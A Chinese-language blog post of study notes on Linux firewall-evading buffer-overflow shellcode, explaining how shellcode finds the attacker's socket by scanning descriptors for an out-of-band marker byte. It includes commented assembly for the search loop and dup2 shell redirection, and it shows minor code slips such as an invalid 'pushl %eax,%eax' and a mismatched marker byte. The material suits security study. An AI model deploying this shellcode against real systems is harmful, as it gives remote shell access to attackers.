http://blog.sina.com.cn/s/blog_492101c7010002sz.html
通過前面兩節的筆記,對程序棧結構、函數調用、系統調用等基礎知識已經形成了一定程度的認識,本節着重再次討論Linux下系統調用的實現,以加深理解,同時也討論了函數參數定位技術,還有一個準確定位常量的技巧。
緩衝區溢出技術在發展,相應的防範技術也在發展,他們是相互促進的。先進的防火牆多數已具有過濾普通Shellcode的能力,也就是說他會過濾含有比如socket,bind等網絡函數的數據包,因此我們的Shellcode也就需要變通方法,尋求解決之道。在《網絡滲透技術》第三章的3.1.4節,主要討論了三種實現穿透防火牆Shellcode的技術思路。這三種技術與其說是傳統防火牆的技術,不如說是關於Linux系統調用的好例子。下面我們就摘取其中的第二種技術(這三種技術大同小異)來看一下。
Cnhonker的bkbll最先使用這種技術。其大體思路可用如下僞C語言片斷描述:
i=0;
while(1){
i++;
recv(i,buf,1,1);
if(buf=='l') goto shell;
}
也就是說,搜索本進程中接收緩衝區中含有我們預約字符串的套接字,這個套接字就是我們需要的套接字,也就是引起緩衝區溢出的那個套接字。具體來說,本技術使用了OOB(out of band,帶外傳送。OOB竟然還被人解釋成out of blog,ha)技術。OOB的出現是爲了滿足特殊用途,當需要傳送比較特殊(比如比較緊急)的數據時可以使用OOB方式來發送。
關於OOB,我再根據《滲透》中的內容談一下我的理解:
當發送端應用程序需要發送特殊數據時,他將使用OOB方式,發送方TCP進入緊急模式,此後發送出的每個數據包都包含URG標誌和16位URG指針,直到將要發送的OOB數據發送完爲止。TCP進入緊急模式時我們也可以稱創建了一個OOB通道,當OOB數據全部發送完畢通道才關閉,TCP就又恢復到正常狀態。舉個不太恰當的例子:對於青島市市政府前面香港中路的某段路,平時各色車輛按照規則通行。當有一天,某位重要人物蒞臨青島,其車隊(自然是警車開道特氣派的那種)浩浩蕩蕩在香港中路行駛,當開始進入這段路時這段路就進入了OOB狀態,此時其他閒雜車輛是不允許經過這段路的,直到車隊通過了才解開封鎖,這段路就又恢復到正常狀態。
按照《滲透》中所述,在接收端,第一次接收到一個OOB數據包後也進入緊急狀態,用戶此時可以recv OOB數據,雖然此時可能OOB數據也許並未準備好。
[注意] 在一個OOB通道中,除了最後一個字節被當作OOB接收外,此前的字節都會被當作普通數據接收。這一點可以從上面那段代碼中看出。那裏只是用OOB方式接收了1個字節。比如,如果發送端發送的OOB數據是"xxxxxxxxxxxxxxxxxxxxxxxxxxy",那麼接收端接收到的OOB數據只會是一個字節'y'。
這裏給出一個關於OOB技術的參考網址:http://caycraft.blogchina.com/2163484.html
recv函數的原型是這樣的:int recv( SOCKET s, char FAR *buf, int len, int flags ); 。
他從當前進程的套接字s的接收緩衝區中以flags的方式試圖讀取指定長度len的內容存放到buf,並返回實際讀取到的字節數。
一般地,flags是0,也就是表示普通方式,但當需要接收OOB數據時需要指定flags爲1。
這裏給出一個關於recv函數的參考網址:http://www.blog.edu.cn/user2/shyyan/archives/2005/1046578.shtml
《滲透》中討論的三種穿透防火牆的Shellcode技術都是需要exploit配合的,也就是說當exploit發送完包含Shellcode的攻擊字符串後,還需要接着發送預約的一個特徵字符串,以便當在遠程機器中成功溢出並執行Shellcode後,Shellcode可以進而搜索含有該預約字符串的socket。
具體到這種方式,exploit在發送了攻擊串後就接着用OOB方式發送預約串。在Shellcode裏面,稍等片刻(比如1秒)後就開始搜索含有預約串的socket。具體Shellcode中用來搜索預約串的那段代碼對應的彙編代碼如下:
[注意] 這段代碼中並未去調用Linux封裝好的函數,而是直接進行了系統調用。
;等待1秒以便預約串發送過來
xorl %eax,%eax
pushl %eax,%eax
incl %eax
pushl %eax ;構造struct timespec變量 {1,0}
;把此變量的指針存入ebx,作爲sys_nanosleep的第一個參數。這裏就是我們說的函數參數定位的技巧
movl %esp,%ebx
xorl %ecx,%ecx ;sys_nanosleep的第二個參數置NULL
movb $0xa2,%al ;sys_nanosleep的系統調用號
int $0x80 ;開始系統調用
jmp locate_addr ;一個短跳轉,下面可以看到其用意
find_s:
pop %edi ;ok,一個jmp,一個call,一個pop,我們就得到了常量字符串的地址
xorl %esi,%esi ;esi中存放的是socket索引值
find_s_loop:
incl %esi ;搜索下一個socket
decl %esp
movl %esp,%edx ;定位buf的地址並存入edx
xorl %eax,%eax ;0 --> eax
incl %eax ;1 --> eax
pushl %eax ;push 1
pushl %eax ;push 1
pushl %edx ;push buf
pushl %esi ;push socket
movl %esp,%ecx ;上面準備好了recv的參數,現在將參數所在地址存入ecx
xorl %ebx,%ebx ;0 --> ebx
movb $0x0a,%bl ;SYS_RECV
movb $0x66,%al ;sys_socketcall的系統調用號
int $0x80 ;進入系統調用
decl %eax
jnz find_s_loop ;是否接收到了一個字節?如果不是則繼續搜索
cmpb $0x49,(%edx)
jne find_s_loop ;是否接收到的是我們預約的串?如果不是則繼續搜索
;找到了我們要找的socket,其索引值在esi,現在我們把他存入ebx,作爲dup2的第一個參數
movl %esi,%ebx
xorl %ecx,%ecx
movb $0x03,%cl ;0x03 --> ecx
dup2s:
movb $0x3f,%al ;dup2的系統調用號
decl %ecx ;0x02 --> ecx,dup2的第二個參數
int $0x80 ;進行系統調用
incl %ecx ;恢復ecx的值爲3